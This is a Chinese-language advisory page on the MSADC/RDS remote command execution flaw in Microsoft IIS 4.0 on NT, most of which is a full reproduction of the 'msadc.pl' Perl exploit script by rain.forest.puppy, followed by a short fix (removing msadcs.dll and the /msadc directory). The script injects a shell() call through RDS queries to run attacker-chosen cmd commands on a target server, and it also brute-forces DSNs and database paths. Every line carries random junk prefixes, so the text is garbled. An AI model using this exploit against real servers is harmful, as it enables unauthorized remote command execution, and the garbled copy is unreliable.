IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
JW
(.,Ztm 4&}LYSZl 涉及程序：
G;MmD?VJ g Microsoft NT server
H{yeN 5
u[})|x*N 描述：
FgLV>#)- 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
2]hQ56Yv3 525W;
mu{ 详细：
Jc/*w 如果你没有时间读详细内容的话，就删除:
J&wrBVv1uk c:\Program Files\Common Files\System\Msadc\msadcs.dll
0KE+RzrB 有关的安全问题就没有了。
{U>B\D qy"#XbBeV 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
TN4gGky! l@%MS\{ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
}/Pz1,/ 关于利用ODBC远程漏洞的描述，请参看:
>2T DYB|; V0XQG} http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm h#a,< B| Jc95Ki1X 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
;kDz9Va http://www.microsoft.com/security/bulletins/MS99-025faq.asp /{6PwlP5 |#>\GU=! 这里不再论述。
7' ]n_-fu 8i;Ep AwB 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
{%*,KB>b 1TJ 2HO=Y /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
u,I_p[` E 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
0"#'Z>" 4 cDjf~n N*y09?/h #将下面这段保存为txt文件，然后: "perl -x 文件名"
k?ZtRhPu3X ]yy1 0Pk[! #!perl
KEEHb2q #
>+ul LQqe # MSADC/RDS 'usage' (aka exploit) script
nkUSd}a`r #
EBc_RpC/Z # by rain.forest.puppy
V4PI~"4q#1 #
hCS|(8g # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
4$ya$Y%s% # beta test and find errors!
Js.2R$o =* Y[#EFM use Socket; use Getopt::Std;
}rRf4t e getopts("e:vd:h:XR", \%args);
@i U@JE`C %ukFn
&-2@ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
n]S
DpptM DryN}EMOKD if (!defined $args{h} && !defined $args{R}) {
MEf`&<t print qq~
M{w[ hV Usage: msadc.pl -h <host> { -d <delay> -X -v }
`lygJI?H+{ -h <host> = host you want to scan (ip or domain)
*:L-/Q)i -d <seconds> = delay between calls, default 1 second
Q]?r&%Y -X = dump Index Server path table, if available
;6P #V `u -v = verbose
=:A hg
9 -e = external dictionary file for step 5
QQ;<L"VW E{'{fo!#) Or a -R will resume a command session
'#pY/,hVB [$:M/5y9 ~; exit;}
Ws$<B
b 7L)edR [ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Oh)s" f\N if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
(xxNQ]
l-( if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
R9bsl.e if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
d nRbt{`jP $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
HGM ?
?= if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
O<}3\O )G( ZFYv|2l if (!defined $args{R}){ $ret = &has_msadc;
.LMOmc=( die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
B /q/6Pp IdTa tE|^ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
qmQ}
. "cmd /c ";
|[qq
$ $in=<STDIN>; chomp $in;
5yBaxw` $command="cmd /c " . $in ;
7m='-_w)?w [Ume^ if (defined $args{R}) {&load; exit;}
uzG{jc ^ vz$-KT4e^ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
YNHQbsZUI, &try_btcustmr;
k+qxx5 { Q5Yy
\M print "\nStep 2: Trying to make our own DSN...";
&ed&2t`Y &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
_%M+!Ltz DNTkv_S print "\nStep 3: Trying known DSNs...";
3%HF" $Gg &known_dsn;
)\K ;Ncp[ n`v;S>aT print "\nStep 4: Trying known .mdbs...";
j<,Ho4v}_ &known_mdb;
fyHFfPEE {9mXJu$cc if (defined $args{e}){
cl \Gh print "\nStep 5: Trying dictionary of DSN names...";
Jr2x`^aNO &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
'2LK(uaU VT@,RlB0 print "Sorry Charley...maybe next time?\n";
^lw0}
i exit;
Xgb ~ED] nrFuhW\r ##############################################################################
Ku 'OM6D< =@ SJy W sub sendraw { # ripped and modded from whisker
#k}x} rn<' sleep($delay); # it's a DoS on the server! At least on mine...
6 (M^`&fl my ($pstr)=@_;
+O]jklS4H socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
S{uKm1a die("Socket problems\n");
[nYm -\M if(connect(S,pack "SnA4x8",2,80,$target)){
O4c[,Uq8~ select(S); $|=1;
D6Q6yNE print $pstr; my @in=<S>;
U<|hIv-& select(STDOUT); close(S);
n8K FP return @in;
s8O.yL } else { die("Can't connect...\n"); }}
W ~W `fm EdC^L`:: ##############################################################################
4hQ.RO II,snRD sub make_header { # make the HTTP request
N'5AU ( my $msadc=<<EOT
'gD,H X POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
DT x!# [ User-Agent: ACTIVEDATA
E \_Wpk Host: $ip
<i1.W !% Content-Length: $clen
\gU=B|W Connection: Keep-Alive
-O~ V4004 {e/6iSpT ADCClientVersion:01.06
)Nj xKSiU@ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Le ?yzf X:/Y^Xu --!ADM!ROX!YOUR!WORLD!
^7p>p8 Content-Type: application/x-varg
e5z U`R Content-Length: $reqlen
asj*/eC$/i Zqp<8M2 EOT
' F .tOD ; $msadc=~s/\n/\r\n/g;
g~/@`Z2Y return $msadc;}
> Nho`m( [t{ed)J ##############################################################################
GEd JB= Vi:<W0: sub make_req { # make the RDS request
I_aS C 4 my ($switch, $p1, $p2)=@_;
Cju %CE3a my $req=""; my $t1, $t2, $query, $dsn;
=Z~ nzyaN T+knd'2V6 if ($switch==1){ # this is the btcustmr.mdb query
9$iDK$% $query="Select * from Customers where City=" . make_shell();
iC`mj $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
7O \sQ]i6 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
7%7 \2!0J} $Y 3mO ~ elsif ($switch==2){ # this is general make table query
m1\+~*i $query="create table AZZ (B int, C varchar(10))";
J|gRG0O9Ya $dsn="$p1";}
U%qE=u - ^? Y x{r~9 elsif ($switch==3){ # this is general exploit table query
N5%Cwl6i $query="select * from AZZ where C=" . make_shell();
H%&e[PU $dsn="$p1";}
h+"UK= jjTb:Z=.' elsif ($switch==4){ # attempt to hork file info from index server
1 Vq)& N $query="select path from scope()";
$ KAOJc4< $dsn="Provider=MSIDXS;";}
a*T=;P3(I b$,~S\\c
elsif ($switch==5){ # bad query
>`S $(f $query="select";
~L55l2u7 $dsn="$p1";}
q2U8]V U) g UAx8=h $t1= make_unicode($query);
)_ -EeH $t2= make_unicode($dsn);
KhFw%Z0s< $req = "\x02\x00\x03\x00";
gOSFvH8FU $req.= "\x08\x00" . pack ("S1", length($t1));
2*5]6B-( $req.= "\x00\x00" . $t1 ;
*? <ygzX $req.= "\x08\x00" . pack ("S1", length($t2));
qHtonJc $req.= "\x00\x00" . $t2 ;
x<lY&KQ0 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Xqx mvN return $req;}
[>#@?@x`P rq]zt2 ##############################################################################
#l<un< 9irT}e sub make_shell { # this makes the shell() statement
%j7HIxZh return "'|shell(\"$command\")|'";}
jVxX! V lq[o2\ ##############################################################################
UFOUkS
F #@^mA{Dt5 sub make_unicode { # quick little function to convert to unicode
m&&Y=2 my ($in)=@_; my $out;
L3s1a -K for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
[.[|rnil return $out;}
X
8#Uk} / f?P>P23 ##############################################################################
\]7i-[ 3Gyw^_{J sub rdo_success { # checks for RDO return success (this is kludge)
%k8 H'w\ my (@in) = @_; my $base=content_start(@in);
E{B8+T:3 if($in[$base]=~/multipart\/mixed/){
R8(Bt73 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
`COnb@uD return 0;}
A-GU:B %X^K5Io ##############################################################################
gf U@`A_N" \:[J-ySJ sub make_dsn { # this makes a DSN for us
.`;
bQh'! my @drives=("c","d","e","f");
Xpp%j print "\nMaking DSN: ";
e4rhB"qQdn foreach $drive (@drives) {
NBaXfWh print "$drive: ";
Ak=|wY{ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
3l?-H|T "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
T:?01?m . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
'qt+.vd $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
+ia N[F$ return 0 if $2 eq "404"; # not found/doesn't exist
W%,h{ if($2 eq "200") {
z!>
H^v foreach $line (@results) {
|on$ )vm return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
wB0K e } return 0;}
Y VT\@+C' Sb,lY<= ##############################################################################
c!20(( 2|I H 7&bUt/ sub verify_exists {
iLR^ V! my ($page)=@_;
Hs>|-iDs( my @results=sendraw("GET $page HTTP/1.0\n\n");
*\4u :1Cu return $results[0];}
]Ac&h
aAP Bq
9 Eu1 ##############################################################################
/~nPP C 8*[Q{:'. sub try_btcustmr {
AC& }8w[>u my @drives=("c","d","e","f");
trAIh}Dj my @dirs=("winnt","winnt35","winnt351","win","windows");
KDUa0$" ,{rm<M.) foreach $dir (@dirs) {
SRfnT?u6 print "$dir -> "; # fun status so you can see progress
'$m
uA\ foreach $drive (@drives) {
*!p#1fE print "$drive: "; # ditto
u?-X07_ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
q\q8xF~[p $reqlenlen=length( "$reqlen" );
5$;#=WAY $clen= 206 + $reqlenlen + $reqlen;
F `cuV ;E0aTV)Zp my @results=sendraw(make_header() . make_req(1,$drive,$dir));
c( 5r if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
-Uu65m~:{k else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
_Vl22'wl b0n " J` ##############################################################################
Cg 4l*"_ co-dq\P sub odbc_error {
y/d/#}\: my (@in)=@_; my $base;
XzV:q!e- my $base = content_start(@in);
nJ{vO{N if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
ehe; <A $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y)%CNH)*x $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
AFN"#M $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wr+r J return $in[$base+4].$in[$base+5].$in[$base+6];}
"S ~(|G print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
f: _mr zz print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
6r3.%V.& $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
LH _rc +#Q\;; FNP ##############################################################################
X 6`F<H` {!G sub verbose {
kl/eJN'S my ($in)=@_;
Z#nPn>,q return if !$verbose;
[(65^Zl` print STDOUT "\n$in\n";}
zv>3Tc0R :
#om6} ##############################################################################
{@tqeu%IM @ UgZZ sub save {
)!tqock*v my ($p1, $p2, $p3, $p4)=@_;
G+dQ" cI9 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
|ME u"pY) print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
o{n)w6P{R, close OUT;}
Xe:gH.} n +R3 ##############################################################################
P
g{/tM Y c@&-c [k^W sub load {
r iuG,$EX my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
piv/QP-X open(IN,"<rds.save") || die("Couldn't open rds.save\n");
`$hna{e^n @p=<IN>; close(IN);
!Ic{lB $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
%
bpVK~z $target= inet_aton($ip) || die("inet_aton problems");
g.9:R=JPT print "Resuming to $ip ...";
v vvH5NRm $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
,KO_h{mI< if($p[1]==1) {
+ &j &es
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
[ h;&r" 1 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
#MwNyZ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
6Uik>e7? if (rdo_success(@results)){print "Success!\n";}
njoU0f1` else { print "failed\n"; verbose(odbc_error(@results));}}
F ]L$xU elsif ($p[1]==3){
L
UitY if(run_query("$p[3]")){
9P ZY](/ print "Success!\n";} else { print "failed\n"; }}
&Ub0o2+y elsif ($p[1]==4){
Nd] w I|> if(run_query($drvst . "$p[3]")){
}/cMG /% print "Success!\n"; } else { print "failed\n"; }}
~l SdWUk> exit;}
O wJZ?j& ) miCW(mbO8 ##############################################################################
)4@La& |4lrVYG^K sub create_table {
V < ;vy&& my ($in)=@_;
H) u<$y!8 $reqlen=length( make_req(2,$in,"") ) - 28;
Frxim $reqlenlen=length( "$reqlen" );
SmR" gu $clen= 206 + $reqlenlen + $reqlen;
.NOh[68' my @results=sendraw(make_header() . make_req(2,$in,""));
kl&9M!;:n return 1 if rdo_success(@results);
<ic%c/mN my $temp= odbc_error(@results); verbose($temp);
f:)%+)U<Xm return 1 if $temp=~/Table 'AZZ' already exists/;
h9 J%NH return 0;}
Ny
oRp F9Y/Z5 Ea ##############################################################################
h%0 hryGB D6M ktE)' sub known_dsn {
.&R j2 d # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
}% m:^*@$9 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
gOnVN6 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
#4Z] /D2G "banner", "banners", "ads", "ADCDemo", "ADCTest");
kCoTz"Z- N4z(2. foreach $dSn (@dsns) {
%M/rpEE"b% print ".";
-N4km5 next if (!is_access("DSN=$dSn"));
)C 0dN>Gb if(create_table("DSN=$dSn")){
bF#1'W& print "$dSn successful\n";
IW1+^F9NEw if(run_query("DSN=$dSn")){
?j DdF print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
R,'`
A.Kk print "Something's borked. Use verbose next time\n";}}} print "\n";}
GNIZHyT(O vXA+4 ?ZG ##############################################################################
>^!qx b- JC[G5$E sub is_access {
{8YNmxF# my ($in)=@_;
pMfP3G7V $reqlen=length( make_req(5,$in,"") ) - 28;
S9'8rn!_ $reqlenlen=length( "$reqlen" );
$cUTe $clen= 206 + $reqlenlen + $reqlen;
/N'|Vs,X my @results=sendraw(make_header() . make_req(5,$in,""));
l_`DQ8L` my $temp= odbc_error(@results);
>#j f Z5t verbose($temp); return 1 if ($temp=~/Microsoft Access/);
R"0fZENTG return 0;}
9*"Ae0ok1 YH%aPsi ##############################################################################
HS % P w &F/P]1 sub run_query {
|D
?}6z my ($in)=@_;
lN<,<'&^. $reqlen=length( make_req(3,$in,"") ) - 28;
V Xpbmg!{S $reqlenlen=length( "$reqlen" );
P%- @AmO^_ $clen= 206 + $reqlenlen + $reqlen;
)w.\xA~| my @results=sendraw(make_header() . make_req(3,$in,""));
k~<b~V cU return 1 if rdo_success(@results);
% #^)hX,+Q my $temp= odbc_error(@results); verbose($temp);
Z6Owxqfht return 0;}
K:i{us` ,2I8,MOg ##############################################################################
%^r}$mfy:0 $xWebz0 sub known_mdb {
jZ;dY~fE my @drives=("c","d","e","f","g");
Xw|t.0 my @dirs=("winnt","winnt35","winnt351","win","windows");
~gjREl,+D# my $dir, $drive, $mdb;
H /kSFf{ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
+Je(]b @ Ai 9UB=[R # this is sparse, because I don't know of many
]nEZ Q+F my @sysmdbs=( "\\catroot\\icatalog.mdb",
~BSE8M+r "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
w=r3QKm#K "\\system32\\certmdb.mdb",
lQ nl6j "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
cjd Z.jR2 ylEQeN my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
BgzER[g|q{ "\\cfusion\\cfapps\\forums\\forums_.mdb",
v@6TC 1M, "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
_ B5t)7I "\\cfusion\\cfapps\\security\\realm_.mdb",
6@2 S*\& "\\cfusion\\cfapps\\security\\data\\realm.mdb",
2`-y zm "\\cfusion\\database\\cfexamples.mdb",
Xg](V.B6 "\\cfusion\\database\\cfsnippets.mdb",
RnA>oKc "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
j\ d Y "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
,s?7EHtC "\\cfusion\\brighttiger\\database\\cleam.mdb",
LHt{y3l ] "\\cfusion\\database\\smpolicy.mdb",
]Gm $0uS "\\cfusion\\database\cypress.mdb",
~sI$xX! "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
<N Lor55.] "\\website\\cgi-win\\dbsample.mdb",
#..-!>lY "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
]T3dZ`-( "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
0S {dnp ); #these are just
|+ ^-b}0 foreach $drive (@drives) {
fC A/ foreach $dir (@dirs){
*=- o0 c foreach $mdb (@sysmdbs) {
gD[Fkq$] print ".";
OYW W<N+R2 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
_>G= v! print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
w_gPX0N}3n if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
!_EaF`oh( print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
BZXP%{njS } else { print "Something's borked. Use verbose next time\n"; }}}}}
#b~wIOR)Z Llf |fayq foreach $drive (@drives) {
(ei; Y~i foreach $mdb (@mdbs) {
&*}NN5Sv print ".";
]aqHk if(create_table($drv . $drive . $dir . $mdb)){
Qo4+=^( print "\n" . $drive . $dir . $mdb . " successful\n";
suh@ if(run_query($drv . $drive . $dir . $mdb)){
n.[0#Ur&} print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
{L!w/Ie X } else { print "Something's borked. Use verbose next time\n"; }}}}
j4au
Zl]NF }
@aG1PG{ g[rxK n\Z ##############################################################################
'wo[iNy[ b9ON[qOMN sub hork_idx {
{\OIowa print "\nAttempting to dump Index Server tables...\n";
@$5GxIw<l print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
KPGX/l $reqlen=length( make_req(4,"","") ) - 28;
`Z3Qx~f x $reqlenlen=length( "$reqlen" );
CvCk#:@H M $clen= 206 + $reqlenlen + $reqlen;
Cmq.V@ my @results=sendraw2(make_header() . make_req(4,"",""));
AC=/BU3<yc if (rdo_success(@results)){
o@ ?3i+%}8 my $max=@results; my $c; my %d;
Fh XR!x^ for($c=19; $c<$max; $c++){
Ek [V A\G $results[$c]=~s/\x00//g;
?UX Ky $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
(l28 ,\Bel $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
cT8`l!RD< $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
*0 ;DCUv $d{"$1$2"}="";}
x*H4o{o0 foreach $c (keys %d){ print "$c\n"; }
\ haJe~ } else {print "Index server doesn't seem to be installed.\n"; }}
O7#ECUH ~~? 4w.k ##############################################################################
k)W8% =R BReNhk)S sub dsn_dict {
f6 zT open(IN, "<$args{e}") || die("Can't open external dictionary\n");
6]i"lqb while(<IN>){
dOm#NSJVd $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
f`5e0;zm next if (!is_access("DSN=$dSn"));
uzO%+B! if(create_table("DSN=$dSn")){
f\Bd lOJ> print "$dSn successful\n";
AsRS7V if(run_query("DSN=$dSn")){
`<Z5/;a5W print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
#clPao?r print "Something's borked. Use verbose next time\n";}}}
P@Wi^svj print "\n"; close(IN);}
UTEUVcJ\ w_po5[]R ##############################################################################
dbTPY` ubV|s|J sub sendraw2 { # ripped and modded from whisker
\*}JdEHB sleep($delay); # it's a DoS on the server! At least on mine...
/znW$yh o my ($pstr)=@_;
,}!OJyT socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
8>Xyz`$kH die("Socket problems\n");
~jab/cR if(connect(S,pack "SnA4x8",2,80,$target)){
_y}]j;e8>{ print "Connected. Getting data";
Azx4+`!- open(OUT,">raw.out"); my @in;
%nJ^0X_] select(S); $|=1; print $pstr;
#zC_ ;u$ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
zcGeXX}V? close(OUT); select(STDOUT); close(S); return @in;
Y`S9mGR# } else { die("Can't connect...\n"); }}
.6%-Il =,0E]M Z ##############################################################################
QN_Zd@ K*A Zx(VwB2 sub content_start { # this will take in the server headers
1F*gPhm my (@in)=@_; my $c;
}&d@6m] for ($c=1;$c<500;$c++) {
xrX^";}j if($in[$c] =~/^\x0d\x0a/){
)v1n#m,W if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
B\a-Q,Wf else { return $c+1; }}}
4,m
aA return -1;} # it should never get here actually
<4z |"( B $aA=+<S ##############################################################################
jX^uNmb 8kQ
>M sub funky {
Vx@JP93| my (@in)=@_; my $error=odbc_error(@in);
SI=vA\e if($error=~/ADO could not find the specified provider/){
"d'D:>z]% print "\nServer returned an ADO miscofiguration message\nAborting.\n";
u8pJjn; exit;}
*<n]"- if($error=~/A Handler is required/){
`;-K/)/x print "\nServer has custom handler filters (they most likely are patched)\n";
7/lXy3B4 exit;}
j )6A if($error=~/specified Handler has denied Access/){
!Q!= =*1H print "\nServer has custom handler filters (they most likely are patched)\n";
*.wX9g9\ exit;}}
K
&m`1f umr fA ##############################################################################
Bk&ry)`gD Z@fMU2e=Z sub has_msadc {
NF <|3| my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
K1 M s my $base=content_start(@results);
bCY8C IF return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
tz-, |n0 return 0;}
H8+7rM RiC1lCE ########################
= Jfo=`da _p/
_t76s t W ;1 解决方案：
X>^St&B}fC 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
X4LU/f<f 2、移除web 目录: /msadc
